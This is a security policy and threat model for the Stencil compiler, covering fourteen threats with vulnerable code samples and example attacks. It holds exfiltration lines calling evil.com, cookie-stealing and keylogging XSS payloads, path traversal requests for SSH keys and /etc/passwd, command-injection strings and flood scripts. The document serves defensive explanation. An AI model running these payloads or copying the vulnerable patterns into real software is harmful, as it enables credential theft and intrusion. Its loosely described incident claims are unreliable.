This document outlines the security policy and threat model for the Stencil project.
The Stencil team and community take all security vulnerabilities seriously. If you believe you have found a security vulnerability in Stencil, please report it to us as described below.
DO NOT report security vulnerabilities through public GitHub issues.
Please email us at [email protected] with a description of the vulnerability and steps to reproduce it. You should receive a response within 48 hours. If for some reason you do not, please follow up via the same email to ensure we received your original message.
This threat model is intended to provide a security overview of the Stencil project. It is broken down into the following sections:
- Feature Breakdown
- Threat Identification
- Threat Prioritization
- Threat Mitigation
Stencil is a compiler that generates Web Components and builds high-performance web applications. Its architecture can be broken down into the following core components:
- Stencil Compiler: A toolchain that runs in a Node.js environment (typically on a developer machine or a CI/CD server). It transpiles TypeScript/JSX, optimizes components, and bundles them for production. It reads a
stencil.config.ts
file for configuration and has access to the file system. - Dev Server: A local web server for development. It serves the application, provides hot-module-reloading (HMR), and communicates with the client-side runtime over a WebSocket connection.
- Client-side Runtime: A small piece of JavaScript code that is shipped with every Stencil application. It runs in the end-user's browser and manages component lifecycle, rendering, and event handling.
- Server-Side Rendering (Hydrate): A system that runs on a Node.js server to pre-render Stencil components into static HTML. This is often used for performance and SEO purposes.
- Command Line Interface (CLI): The primary tool for developers to interact with Stencil, used for creating projects, building them, running tests, and more.
We use the STRIDE model to identify potential security threats for each component, with DREAD scoring for risk assessment.
Threat #1: Arbitrary code execution via malicious configuration or plugins
- Category: Elevation of Privilege
- Description: Arbitrary code execution through malicious
stencil.config.ts
files, plugins, or compromised dependencies. Since Stencil configuration files are executed as TypeScript/JavaScript during the build process, they have full access to the Node.js environment and can perform any operation the build user can perform. This includes file system access, network requests, spawning processes, and accessing environment variables.
Attack Scenarios:
- Malicious configuration: Developer downloads a project template with a compromised
stencil.config.ts
- Supply chain attack: A legitimate plugin is compromised and pushes malicious code
- Dependency confusion: Attacker publishes a malicious package with a similar name to a legitimate plugin
- Social engineering: Attacker convinces developer to install a "helpful" plugin that contains malicious code
Example Vulnerable Configuration:
// stencil.config.ts - MALICIOUS
export const config: Config = {
outputTargets: [{
type: 'www',
serviceWorker: null
}],
// Malicious code disguised as configuration
plugins: [
{
name: 'innocent-looking-plugin',
configResolved() {
// Exfiltrate environment variables
require('child_process').exec('curl -X POST https://evil.com/steal -d "$(env)"');
// Install backdoor
require('fs').writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\n# backdoor code');
}
}
]
};
Real-world Impact:
- 2020: SolarWinds supply chain attack affected 18,000+ organizations
- 2021: UA-Parser-JS npm package was compromised, affecting millions of downloads
- Build-time code execution can lead to complete compromise of CI/CD pipelines and deployment infrastructure
Score | Rationale |
---|---|
Damage | 10 |
Reproducibility | 10 |
Exploitability | 5 |
Affected Users | 10 |
Discoverability | 8 |
DREAD Score: 43/50 - CRITICAL
Threat #2: Information disclosure of environment variables
- Category: Information Disclosure
- Description: Leaking environment variables or build-time secrets into the bundle. This occurs when developers inadvertently expose sensitive data such as API keys, database credentials, authentication tokens, or internal service URLs by including them in environment variables that get bundled into the client-side JavaScript. Unlike server-side code, client-side bundles are publicly accessible and can be inspected by anyone, making any embedded secrets immediately visible to attackers.
Attack Scenarios:
- Direct environment variable exposure: Developer accidentally references
process.env.DATABASE_PASSWORD
in component code - Configuration file leakage: Sensitive values from
stencil.config.ts
being included in the bundle - Build script injection: CI/CD environment variables containing secrets being inadvertently bundled
- Third-party plugin exposure: Malicious or poorly configured plugins accessing and bundling environment variables
Example Vulnerable Code:
// In a Stencil component - VULNERABLE
@Component({
tag: 'api-client'
})
export class ApiClient {
private apiKey = process.env.API_SECRET_KEY; // This gets bundled!
private dbUrl = process.env.DATABASE_URL; // This too!
async fetchData() {
return fetch(`https://api.example.com/data?key=${this.apiKey}`);
}
}
Example Attack: An attacker can simply:
- Visit the application in a browser
- Open developer tools and inspect the JavaScript bundle
- Search for common patterns like "process.env", "API_KEY", "SECRET", etc.
- Extract the exposed credentials and use them to access backend services
Real-world Impact:
- 2019: GitHub reported that over 100,000 repositories contained exposed API keys
- 2021: A major e-commerce platform was breached after AWS credentials were found in their client-side bundles
- Exposed database credentials can lead to complete data breaches affecting millions of users
Score | Rationale |
---|---|
Damage | 8 |
Reproducibility | 10 |
Exploitability | 10 |
Affected Users | 10 |
Discoverability | 10 |
DREAD Score: 48/50 - CRITICAL
Threat #3: Denial of service via malformed input
- Category: Denial of Service
- Description: Malformed input files causing the Stencil compiler to crash, hang, or consume excessive resources during the build process. This can occur through crafted TypeScript/JSX files, CSS files, or assets that exploit parsing vulnerabilities or trigger resource-intensive operations.
Attack Scenarios:
- Deeply nested JSX: Extremely nested component structures causing stack overflow
- Circular dependencies: Components with circular imports causing infinite loops
- Large file attacks: Massive files designed to exhaust memory or disk space
- Malformed syntax: Invalid TypeScript/JSX that crashes the parser
Example Vulnerable Input:
// Deeply nested JSX causing stack overflow
const DeepComponent = () => (
<div>
<div>
<div>
{/* ... thousands of nested divs ... */}
<div>Content</div>
{/* ... thousands of nested divs ... */}
</div>
</div>
</div>
);
// Circular dependency causing infinite loop
// file1.tsx
import { Component2 } from './file2';
export const Component1 = () => <Component2 />;
// file2.tsx
import { Component1 } from './file1';
export const Component2 = () => <Component1 />;
Impact:
- Development workflow disruption
- CI/CD pipeline failures
- Resource exhaustion on build servers
Score | Rationale |
---|---|
Damage | 5 |
Reproducibility | 8 |
Exploitability | 5 |
Affected Users | 2.5 |
Discoverability | 8 |
DREAD Score: 28.5/50 - HIGH
Threat #4: Directory traversal attack
- Category: Information Disclosure
- Description: Directory traversal attacks that exploit insufficient path validation in the dev server to access files outside the project root directory. Attackers can use path traversal sequences (../) to navigate up the directory tree and access sensitive files on the developer's machine, including system configuration files, SSH keys, environment files, and other projects.
Attack Scenarios:
- System file access: Reading
/etc/passwd
,/etc/shadow
, or Windows system files - SSH key theft: Accessing
~/.ssh/id_rsa
or other private keys - Environment file exposure: Reading
.env
files from other projects - Source code theft: Accessing source code from other projects on the same machine
Example Attack:
# Attacker crafts malicious URLs to access sensitive files
curl "http://localhost:3333/../../etc/passwd"
curl "http://localhost:3333/../../../home/user/.ssh/id_rsa"
curl "http://localhost:3333/../../../../var/log/auth.log"
# Or via browser
http://localhost:3333/../../etc/hosts
http://localhost:3333/../../../Users/developer/.aws/credentials
Vulnerable Code Pattern:
// Simplified example of vulnerable path handling
function serveFile(url: string) {
const filePath = path.join(rootDir, url); // VULNERABLE - no validation
return fs.readFileSync(filePath);
}
Real-world Impact:
- 2018: Numerous Node.js development servers found vulnerable to directory traversal
- Can lead to complete compromise of developer machines and access to multiple projects
- Particularly dangerous in shared development environments
Score | Rationale |
---|---|
Damage | 10 |
Reproducibility | 10 |
Exploitability | 10 |
Affected Users | 2.5 |
Discoverability | 10 |
DREAD Score: 42.5/50 - CRITICAL
Threat #5: Malicious WebSocket connection
- Category: Spoofing
- Description: Malicious websites connecting to the Stencil dev server's WebSocket endpoint used for Hot Module Reloading (HMR) to inject malicious code or extract development information. The dev server typically accepts WebSocket connections without proper origin validation, allowing any website the developer visits to potentially connect and manipulate the development environment.
Attack Scenarios:
- Code injection via HMR: Malicious site sends fake HMR updates containing malicious JavaScript
- Development environment reconnaissance: Extracting project structure, file paths, and source code
- Cross-origin data theft: Accessing development data through WebSocket messages
- Development workflow manipulation: Interfering with legitimate HMR updates
Example Attack:
<!-- Malicious website visited by developer -->
<script>
// Connect to developer's Stencil dev server
const ws = new WebSocket('ws://localhost:3333');
ws.onopen = () => {
// Inject malicious code via fake HMR update
ws.send(JSON.stringify({
type: 'hmr-update',
path: '/src/components/my-component.tsx',
content: `
// Original component code...
// Malicious addition
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage
})
});
`
}));
};
// Extract development information
ws.onmessage = (event) => {
// Send development data to attacker
fetch('https://evil.com/dev-data', {
method: 'POST',
body: event.data
});
};
</script>
Impact:
- Compromise of development environment
- Theft of proprietary source code
- Injection of malicious code into development builds
Score | Rationale |
---|---|
Damage | 8 |
Reproducibility | 7.5 |
Exploitability | 5 |
Affected Users | 2.5 |
Discoverability | 9 |
DREAD Score: 32/50 - HIGH
Threat #6: Resource exhaustion
- Category: Denial of Service
- Description: Resource exhaustion attacks targeting the Stencil dev server through excessive HTTP requests, WebSocket connections, or resource-intensive operations. Since dev servers typically lack production-grade rate limiting and resource management, they can be easily overwhelmed by automated attacks or even accidental excessive requests.
Attack Scenarios:
- HTTP flood: Overwhelming the server with rapid HTTP requests
- WebSocket exhaustion: Opening numerous WebSocket connections to exhaust memory
- Large file requests: Requesting large assets repeatedly to exhaust bandwidth/memory
- Concurrent build triggers: Triggering multiple simultaneous rebuilds
Example Attack:
# Simple HTTP flood attack
for i in {1..10000}; do
curl "http://localhost:3333/" &
done
# WebSocket connection exhaustion
node -e "
for(let i=0; i<1000; i++) {
new require('ws')('ws://localhost:3333');
}
"
# Large file request loop
while true; do
curl "http://localhost:3333/large-video-file.mp4" &
done
Automated Attack Script:
import asyncio
import aiohttp
async def flood_attack():
connector = aiohttp.TCPConnector(limit=1000)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = []
for i in range(10000):
task = session.get('http://localhost:3333/')
tasks.append(task)
await asyncio.gather(*tasks, return_exceptions=True)
asyncio.run(flood_attack())
Impact:
- Dev server becomes unresponsive
- Development workflow completely disrupted
- Can affect entire local network if server binds to 0.0.0.0
Score | Rationale |
---|---|
Damage | 5 |
Reproducibility | 10 |
Exploitability | 10 |
Affected Users | 2.5 |
Discoverability | 10 |
DREAD Score: 37.5/50 - HIGH
Threat #7: Cross-Site Scripting (XSS)
- Category: Tampering
- Description: Cross-Site Scripting attacks that exploit insufficient input sanitization in Stencil components to inject and execute malicious JavaScript in users' browsers. While Stencil provides some built-in XSS protection through JSX's automatic escaping, developers can still introduce vulnerabilities through unsafe practices like using
innerHTML
with untrusted data or improper handling of user inputs.
Attack Scenarios:
- Stored XSS: Malicious scripts stored in database and rendered by components
- Reflected XSS: Malicious scripts in URL parameters reflected in component output
- DOM-based XSS: Client-side JavaScript manipulation of DOM with untrusted data
- Component prop injection: Malicious data passed through component properties
Example Vulnerable Code:
@Component({
tag: 'user-profile'
})
export class UserProfile {
@Prop() userBio: string;
@Prop() userName: string;
render() {
return (
<div>
{/* VULNERABLE - innerHTML with untrusted data */}
<div innerHTML={this.userBio}></div>
{/* VULNERABLE - URL parameter directly rendered */}
<h1>Welcome {new URLSearchParams(location.search).get('name')}</h1>
{/* VULNERABLE - Dynamic script execution */}
<script>{`var user = "${this.userName}";`}</script>
</div>
);
}
}
Example Attack Payloads:
<!-- Stored in user bio field -->
<img src="x" onerror="fetch('https://evil.com/steal?cookies='+document.cookie)" />
<!-- In URL parameter -->
https://app.com/profile?name=<script>alert('XSS')</script>
<!-- In component property -->
<user-profile user-name='"; fetch("https://evil.com/steal", {method: "POST", body: localStorage.getItem("authToken")}); //'></user-profile>
Attack Impact:
- Session hijacking through cookie theft
- Account takeover via stolen authentication tokens
- Defacement of web applications
- Phishing attacks through injected content
- Cryptocurrency mining scripts
Score | Rationale |
---|---|
Damage | 10 |
Reproducibility | 8 |
Exploitability | 9 |
Affected Users | 10 |
Discoverability | 9 |
DREAD Score: 46/50 - CRITICAL
Threat #8: Information disclosure via component state
- Category: Information Disclosure
- Description: Sensitive information being exposed through component props, state, or internal data structures that can be accessed via browser developer tools or client-side inspection. Stencil components run in the browser where all JavaScript is accessible to users, making any sensitive data stored in component memory visible to attackers.
Attack Scenarios:
- Developer tools inspection: Using browser dev tools to examine component state
- Component debugging: Accessing component instances through global variables
- Memory dump analysis: Using browser memory profiling to extract sensitive data
- Event listener exploitation: Triggering debug events that expose internal state
Example Vulnerable Code:
@Component({
tag: 'payment-form'
})
export class PaymentForm {
@State() creditCardNumber: string;
@State() cvv: string;
@State() apiKey: string = 'sk_live_abc123'; // VULNERABLE - API key in state
@State() internalUserData = {
ssn: '123-45-6789', // VULNERABLE - SSN in state
salary: 75000, // VULNERABLE - sensitive PII
role: 'admin' // VULNERABLE - privilege info
};
// VULNERABLE - Debug method exposing sensitive data
@Method()
async debugInfo() {
return {
creditCard: this.creditCardNumber,
cvv: this.cvv,
apiKey: this.apiKey,
userData: this.internalUserData
};
}
render() {
return (
<div>
<input
value={this.creditCardNumber}
onInput={(e) => this.creditCardNumber = e.target.value}
/>
{/* VULNERABLE - Sensitive data in DOM attributes */}
<div data-api-key={this.apiKey}>Payment processing...</div>
</div>
);
}
}
Example Attack:
// In browser console - accessing component state
const paymentComponent = document.querySelector('payment-form');
// Direct state access (if exposed)
console.log(paymentComponent.creditCardNumber);
console.log(paymentComponent.apiKey);
// Method invocation
paymentComponent.debugInfo().then(data => {
console.log('Stolen data:', data);
// Send to attacker's server
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
// Component inspection via dev tools
console.log('%c Component State Inspector', 'color: red; font-size: 20px');
Object.getOwnPropertyNames(paymentComponent).forEach(prop => {
console.log(prop, ':', paymentComponent[prop]);
});
Real-world Impact:
- Credit card and payment information theft
- Personal Identifiable Information (PII) exposure
- API key and authentication token theft
- Business logic and internal data structure exposure
Score | Rationale |
---|---|
Damage | 8 |
Reproducibility | 5 |
Exploitability | 9 |
Affected Users | 6 |
Discoverability | 10 |
DREAD Score: 38/50 - HIGH
Threat #9: Client-side denial of service
- Category: Denial of Service
- Description: Malicious or poorly written component code that causes excessive CPU usage, memory consumption, or infinite loops, leading to browser freezing or crashes. This can be triggered through crafted user inputs, malicious component properties, or exploitation of inefficient algorithms in component logic.
Attack Scenarios:
- Infinite render loops: Components that trigger continuous re-renders
- Memory exhaustion: Creating excessive DOM elements or objects
- CPU-intensive operations: Computationally expensive operations in render methods
- Recursive component calls: Components that call themselves infinitely
Example Vulnerable Code:
@Component({
tag: 'vulnerable-list'
})
export class VulnerableList {
@Prop() items: string[] = [];
@State() processedItems: any[] = [];
componentWillLoad() {
// VULNERABLE - Infinite loop with malicious input
this.processItems();
}
processItems() {
// VULNERABLE - No bounds checking
while (this.items.length > 0) {
// Process logic that never reduces items.length
this.processedItems.push(this.items[0]);
// Missing: this.items.shift();
}
}
render() {
return (
<div>
{/* VULNERABLE - Rendering potentially massive arrays */}
{this.items.map((item, index) =>
// VULNERABLE - Recursive component rendering
<vulnerable-list items={[item, item, item]}></vulnerable-list>
)}
{/* VULNERABLE - Memory exhaustion through massive DOM */}
{Array(1000000).fill(0).map((_, i) =>
<div key={i}>Heavy DOM element {i}</div>
)}
</div>
);
}
@Listen('click')
handleClick() {
// VULNERABLE - CPU-intensive operation on every click
for (let i = 0; i < 10000000; i++) {
Math.sqrt(Math.random() * 1000000);
}
}
}
Example Attack:
<!-- Trigger DoS via component properties -->
<vulnerable-list items='["a","b","c","d","e","f","g","h","i","j"]'></vulnerable-list>
<script>
// Programmatic DoS attack
const list = document.querySelector('vulnerable-list');
// Trigger infinite loop
list.items = ['malicious', 'payload'];
// Memory exhaustion attack
list.items = new Array(1000000).fill('heavy-data');
// CPU exhaustion through events
setInterval(() => {
list.click();
}, 1);
</script>
Attack Vectors:
- Malicious URL parameters that trigger vulnerable component logic
- Form inputs designed to cause infinite processing
- WebSocket messages containing DoS payloads
- Social engineering to get users to visit malicious pages
Impact:
- Browser becomes unresponsive or crashes
- Complete denial of service for legitimate users
- Mobile devices may experience battery drain or overheating
- Can affect entire browser session, not just the single tab
Score | Rationale |
---|---|
Damage | 5 |
Reproducibility | 8 |
Exploitability | 5 |
Affected Users | 10 |
Discoverability | 8 |
DREAD Score: 36/50 - HIGH
Threat #10: XSS in SSR output
- Category: Tampering
- Description: Cross-Site Scripting vulnerabilities in Server-Side Rendered (SSR) HTML output where malicious scripts are injected during the pre-rendering process and served to all users. This is particularly dangerous because the malicious content is generated on the trusted server and served as static HTML, making it appear legitimate and bypassing some client-side XSS protections.
Attack Scenarios:
- Database poisoning: Malicious scripts stored in backend database and rendered during SSR
- API data injection: External APIs returning malicious payloads that get SSR rendered
- Template injection: Exploiting server-side template processing to inject scripts
- Build-time injection: Malicious content introduced during the SSR build process
Example Vulnerable SSR Code:
// Server-side rendering component
@Component({
tag: 'blog-post'
})
export class BlogPost {
@Prop() title: string;
@Prop() content: string;
@Prop() authorBio: string;
render() {
return (
<article>
{/* VULNERABLE - Title from database not sanitized */}
<h1 innerHTML={this.title}></h1>
{/* VULNERABLE - User-generated content in SSR */}
<div innerHTML={this.content}></div>
{/* VULNERABLE - Author bio with HTML injection */}
<footer innerHTML={this.authorBio}></footer>
{/* VULNERABLE - Direct template injection */}
<script>{`window.postData = ${JSON.stringify({
title: this.title, // Can break out of JSON context
author: this.authorBio // Unescaped content
})};`}</script>
</article>
);
}
}
// SSR rendering process
export async function renderBlogPost(postId: string) {
// VULNERABLE - No sanitization of database content
const post = await database.getPost(postId);
return renderToString(
<blog-post
title={post.title} // Malicious content from DB
content={post.content} // User-generated content
author-bio={post.authorBio} // Untrusted author data
/>
);
}
Example Attack Payloads:
<!-- Stored in database title field -->
<script>
// Steal authentication cookies
fetch('https://evil.com/steal', {
method: 'POST',
body: 'cookies=' + document.cookie
});
</script>
<!-- In blog post content -->
<img src="x" onerror="
// Keylogger injection
document.addEventListener('keypress', (e) => {
fetch('https://evil.com/keylog', {
method: 'POST',
body: e.key
});
});
" />
<!-- JSON context breakout in authorBio -->
"; fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(window.localStorage))); //
SSR-Specific Attack Characteristics:
- Persistent: Affects all users visiting the pre-rendered page
- Trusted context: Appears as legitimate server-generated content
- Cache amplification: Malicious content gets cached by CDNs and browsers
- SEO poisoning: Search engines may index malicious content
Real-world Impact:
- 2019: Major e-commerce platform had XSS in SSR product pages affecting thousands of customers
- 2020: News website's SSR commenting system was exploited to inject cryptocurrency miners
- Can lead to mass account compromise and large-scale data theft
Score | Rationale |
---|---|
Damage | 10 |
Reproducibility | 8 |
Exploitability | 9 |
Affected Users | 10 |
Discoverability | 9 |
DREAD Score: 46/50 - CRITICAL
Threat #11: Server-side information disclosure
- Category: Information Disclosure
- Description: Sensitive server-side information being exposed in the SSR output, including database connection strings, API keys, internal error messages, file paths, environment variables, and other confidential data that should remain server-side only. This occurs when server-side rendering processes fail to properly sanitize or filter data before including it in the HTML response.
Attack Scenarios:
- Error message leakage: Detailed error messages containing system information
- Environment variable exposure: Server environment data included in rendered output
- Database information disclosure: Connection strings or query details in output
- Internal API exposure: Internal service URLs and endpoints revealed
- Source code leakage: Server-side code or comments included in HTML
Example Vulnerable SSR Code:
// Server-side component with information disclosure
@Component({
tag: 'dashboard'
})
export class Dashboard {
@Prop() userData: any;
@State() debugInfo: any;
async componentWillLoad() {
try {
// VULNERABLE - Including sensitive server data
this.debugInfo = {
dbConnection: process.env.DATABASE_URL, // LEAKED
apiKeys: process.env.STRIPE_SECRET_KEY, // LEAKED
internalServices: process.env.INTERNAL_API_URLS, // LEAKED
serverPath: __dirname, // LEAKED
nodeVersion: process.version // LEAKED
};
this.userData = await this.fetchUserData();
} catch (error) {
// VULNERABLE - Detailed error in production
this.debugInfo.error = {
stack: error.stack, // LEAKED - shows file paths
query: error.query, // LEAKED - database queries
connectionString: error.connectionString // LEAKED
};
}
}
private async fetchUserData() {
// Simulate database error
throw new Error(`Database connection failed: ${process.env.DB_HOST}:${process.env.DB_PORT}`);
}
render() {
return (
<div>
<h1>User Dashboard</h1>
{/* VULNERABLE - Debug info in production */}
{process.env.NODE_ENV !== 'production' && (
<pre>{JSON.stringify(this.debugInfo, null, 2)}</pre>
)}
{/* VULNERABLE - Server data in HTML comments */}
<!-- Server Info: {JSON.stringify(this.debugInfo)} -->
{/* VULNERABLE - Error details exposed */}
{this.debugInfo?.error && (
<div class="error">
<h2>Error Details:</h2>
<pre>{this.debugInfo.error.stack}</pre>
<p>Query: {this.debugInfo.error.query}</p>
</div>
)}
</div>
);
}
}
Example of Leaked Information in HTML:
<!-- Generated SSR output containing sensitive data -->
<div>
<h1>User Dashboard</h1>
<!-- Server Info: {
"dbConnection": "postgresql://admin:[email protected]:5432/production",
"apiKeys": "sk_live_abc123def456ghi789",
"internalServices": "https://internal-api.company.com/v1",
"serverPath": "/opt/app/dist/server",
"error": {
"stack": "Error: Database connection failed: internal-db.company.com:5432\n at /opt/app/server/components/dashboard.js:45:12",
"query": "SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'",
"connectionString": "postgresql://admin:[email protected]:5432/production"
}
} -->
<div class="error">
<h2>Error Details:</h2>
<pre>Error: Database connection failed: internal-db.company.com:5432
at /opt/app/server/components/dashboard.js:45:12
at processTicksAndRejections (internal/process/task_queues.js:93:5)</pre>
<p>Query: SELECT * FROM users WHERE api_key = 'sk_live_abc123def456ghi789'</p>
</div>
</div>
Attack Exploitation:
# Attacker views page source to extract sensitive data
curl -s https://app.com/dashboard | grep -E "(password|key|secret|database|internal)"
# Automated scanning for information disclosure
grep -r "process.env\|__dirname\|DATABASE_URL" view-source:https://app.com/
Real-world Impact:
- 2018: Major SaaS provider exposed database credentials in SSR error pages
- 2020: E-commerce site leaked internal API endpoints enabling further attacks
- Exposed API keys can lead to financial fraud and service abuse
- Database credentials enable complete data breaches
Score | Rationale |
---|---|
Damage | 9 |
Reproducibility | 5 |
Exploitability | 8 |
Affected Users | 10 |
Discoverability | 8 |
DREAD Score: 40/50 - CRITICAL
Threat #12: Server-side denial of service
- Category: Denial of Service
- Description: Malicious input or requests causing resource exhaustion during server-side rendering, leading to server downtime and service unavailability. This can occur through computationally expensive rendering operations, memory exhaustion, infinite loops, or overwhelming the server with resource-intensive SSR requests.
Attack Scenarios:
- Computational exhaustion: Requests that trigger CPU-intensive rendering operations
- Memory exhaustion: Rendering operations that consume excessive memory
- Infinite loops: Malicious data causing endless processing cycles
- Concurrent request flooding: Multiple simultaneous resource-intensive SSR requests
Example Vulnerable SSR Code:
@Component({
tag: 'data-visualizer'
})
export class DataVisualizer {
@Prop() dataset: any[];
@Prop() iterations: number;
async componentWillLoad() {
// VULNERABLE - No input validation
await this.processLargeDataset();
}
private async processLargeDataset() {
// VULNERABLE - No bounds checking
for (let i = 0; i < this.iterations; i++) {
// VULNERABLE - Potentially infinite loop
this.dataset.forEach(item => {
// CPU-intensive operation
this.heavyComputation(item);
});
}
}
private heavyComputation(data: any) {
// VULNERABLE - No timeout or limits
const results = [];
for (let i = 0; i < data.size; i++) {
results.push(this.expensiveOperation(data));
}
return results;
}
render() {
return (
<div>
{/* VULNERABLE - Rendering massive arrays */}
{this.dataset.map((item, index) => (
<div key={index}>
{/* VULNERABLE - Nested expensive rendering */}
{Array(item.multiplier).fill(0).map((_, i) => (
<complex-chart data={item} index={i} />
))}
</div>
))}
</div>
);
}
}
Example Attack Requests:
POST /api/render HTTP/1.1
Content-Type: application/json
{
"component": "data-visualizer",
"props": {
"dataset": [
{"size": 1000000, "multiplier": 1000},
{"size": 1000000, "multiplier": 1000},
{"size": 1000000, "multiplier": 1000}
],
"iterations": 999999999
}
}
Automated DoS Attack:
# Flood server with resource-intensive requests
for i in {1..100}; do
curl -X POST https://app.com/api/render \
-H "Content-Type: application/json" \
-d '{
"component": "data-visualizer",
"props": {
"dataset": [{"size": 10000000, "multiplier": 1000}],
"iterations": 100000
}
}' &
done
Impact:
- Server becomes unresponsive or crashes
- Service unavailability for all users
- Potential infrastructure costs from resource consumption
- Can affect entire application, not just SSR functionality
Score | Rationale |
---|---|
Damage | 8 |
Reproducibility | 7.5 |
Exploitability | 5 |
Affected Users | 10 |
Discoverability | 8 |
DREAD Score: 38.5/50 - HIGH
Threat #13: Argument injection
- Category: Tampering
- Description: Malicious injection of command-line arguments into the Stencil CLI to execute unintended operations, access unauthorized files, or manipulate the build process. This can occur when user input is improperly sanitized before being passed to CLI commands, or when build scripts dynamically construct CLI arguments from untrusted sources.
Attack Scenarios:
- Build script injection: Malicious arguments injected through build configurations
- CI/CD pipeline exploitation: Compromised environment variables affecting CLI arguments
- Plugin argument manipulation: Third-party plugins passing malicious arguments
- Dynamic argument construction: Unsafe construction of CLI commands from user input
Example Vulnerable Code:
// Vulnerable build script
const stencilConfig = JSON.parse(process.env.STENCIL_CONFIG || '{}');
// VULNERABLE - No argument sanitization
const command = `stencil build --config ${stencilConfig.configPath} --output ${stencilConfig.outputDir}`;
// VULNERABLE - Direct argument injection
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error}`);
return;
}
console.log(stdout);
});
// VULNERABLE - User-controlled file paths
function buildWithCustomConfig(userProvidedConfig) {
const args = [
'build',
'--config',
userProvidedConfig, // VULNERABLE - No validation
'--serve',
'--watch'
];
spawn('stencil', args);
}
Example Attack Payloads:
# Environment variable injection
STENCIL_CONFIG='{"configPath": "config.ts; cat /etc/passwd #", "outputDir": "dist"}'
# Argument injection via config path
userProvidedConfig = "config.ts --serve --watch --host 0.0.0.0 --port 8080; rm -rf /important-files; #"
# Command injection through build arguments
stencil build --config "config.ts; curl -X POST https://evil.com/steal -d @.env; #"
# File path manipulation
stencil build --config ../../sensitive-config.ts --output /tmp/stolen-build
# Plugin argument injection
stencil build --config config.ts --plugin "evil-plugin; wget https://evil.com/malware.sh && chmod +x malware.sh && ./malware.sh"
Real Attack Example:
// Malicious CI/CD configuration
{
"scripts": {
"build": "stencil build --config config.ts",
"deploy": "stencil build --config $BUILD_CONFIG --output $OUTPUT_DIR"
}
}
// Attacker sets environment variables:
// BUILD_CONFIG="config.ts; export AWS_ACCESS_KEY_ID=stolen; export AWS_SECRET_ACCESS_KEY=stolen; aws s3 cp . s3://evil-bucket --recursive; #"
// OUTPUT_DIR="dist; cat ~/.ssh/id_rsa | curl -X POST https://evil.com/steal -d @-; #"
Impact:
- Arbitrary command execution on build servers
- Theft of sensitive files and credentials
- Unauthorized access to development infrastructure
- Supply chain attacks through compromised builds
Score | Rationale |
---|---|
Damage | 9 |
Reproducibility | 5 |
Exploitability | 2.5 |
Affected Users | 2.5 |
Discoverability | 5 |
DREAD Score: 24/50 - MEDIUM
Threat #14: Information disclosure via logging
- Category: Information Disclosure
- Description: Sensitive information being inadvertently logged to console output, log files, or CI/CD build logs where it can be accessed by unauthorized parties. This includes API keys, authentication tokens, database credentials, user data, and internal system information that gets captured in various logging systems.
Attack Scenarios:
- Console logging: Sensitive data logged to browser console or terminal output
- CI/CD log exposure: Credentials visible in build logs on CI/CD platforms
- Debug logging: Development debug statements left in production code
- Error logging: Detailed error messages containing sensitive information
- Third-party logging: Logging services inadvertently capturing sensitive data
Example Vulnerable Code:
@Component({
tag: 'secure-api-client'
})
export class SecureApiClient {
@Prop() apiKey: string;
@State() userData: any;
async componentWillLoad() {
// VULNERABLE - API key logged to console
console.log('Initializing API client with key:', this.apiKey);
try {
const response = await fetch('https://api.example.com/user', {
headers: {
'Authorization': `Bearer ${this.apiKey}`,
'X-User-Token': localStorage.getItem('userToken')
}
});
this.userData = await response.json();
// VULNERABLE - Sensitive user data logged
console.log('User data received:', this.userData);
} catch (error) {
// VULNERABLE - Error logs may contain sensitive data
console.error('API Error:', error);
console.error('Request details:', {
apiKey: this.apiKey,
userToken: localStorage.getItem('userToken'),
userData: this.userData
});
}
}
private async debugAPI() {
// VULNERABLE - Debug logging with credentials
console.group('API Debug Information');
console.log('Environment:', process.env.NODE_ENV);
console.log('API Key:', this.apiKey);
console.log('Database URL:', process.env.DATABASE_URL);
console.log('JWT Secret:', process.env.JWT_SECRET);
console.log('User session:', localStorage.getItem('session'));
console.groupEnd();
}
render() {
return (
<div>
<button onClick={() => this.debugAPI()}>Debug API</button>
{/* VULNERABLE - Sensitive data in DOM for debugging */}
{process.env.NODE_ENV === 'development' && (
<pre>{JSON.stringify({
apiKey: this.apiKey,
userData: this.userData,
env: process.env
}, null, 2)}</pre>
)}
</div>
);
}
}
Example Build Script Logging:
// Vulnerable build configuration
export const config: Config = {
outputTargets: [{ type: 'www' }],
plugins: [
{
name: 'debug-plugin',
buildStart() {
// VULNERABLE - Environment variables logged
console.log('Build environment:', process.env);
console.log('API Keys:', {
stripe: process.env.STRIPE_SECRET_KEY,
aws: process.env.AWS_SECRET_ACCESS_KEY,
db: process.env.DATABASE_PASSWORD
});
}
}
]
};
Example CI/CD Log Exposure:
# GitHub Actions workflow - VULNERABLE
name: Build and Deploy
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup Node
uses: actions/setup-node@v2
- name: Install dependencies
run: npm install
- name: Build
run: |
echo "Building with API key: ${{ secrets.API_KEY }}" # VULNERABLE
echo "Database URL: ${{ secrets.DATABASE_URL }}" # VULNERABLE
npm run build
env:
API_KEY: ${{ secrets.API_KEY }}
DATABASE_URL: ${{ secrets.DATABASE_URL }}
Attack Exploitation:
# Attacker accesses CI/CD logs
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/owner/repo/actions/runs/123/logs
# Browser console inspection
# Attacker opens browser dev tools and looks for logged sensitive data
console.log('Searching for sensitive data...');
console.history.forEach(entry => {
if (entry.includes('key') || entry.includes('token') || entry.includes('password')) {
console.log('Found sensitive data:', entry);
}
});
Real-world Impact:
- 2019: Travis CI logs exposed AWS credentials for thousands of repositories
- 2020: GitHub Actions logs leaked database credentials for major e-commerce platform
- 2021: Slack bot logs exposed user authentication tokens affecting 500,000+ users
- Log aggregation services may retain sensitive data for extended periods
Score | Rationale |
---|---|
Damage | 8 |
Reproducibility | 8 |
Exploitability | 9 |
Affected Users | 2.5 |
Discoverability | 10 |
DREAD Score: 37.5/50 - HIGH
Based on the DREAD scoring system, threats are classified as follows:
- Critical (40-50 points): Immediate attention required
- High (25-39 points): High priority for remediation
- Medium (11-24 points): Moderate priority
- Low (1-10 points): Low priority
- Threat #2: Information disclosure of environment variables (48/50)
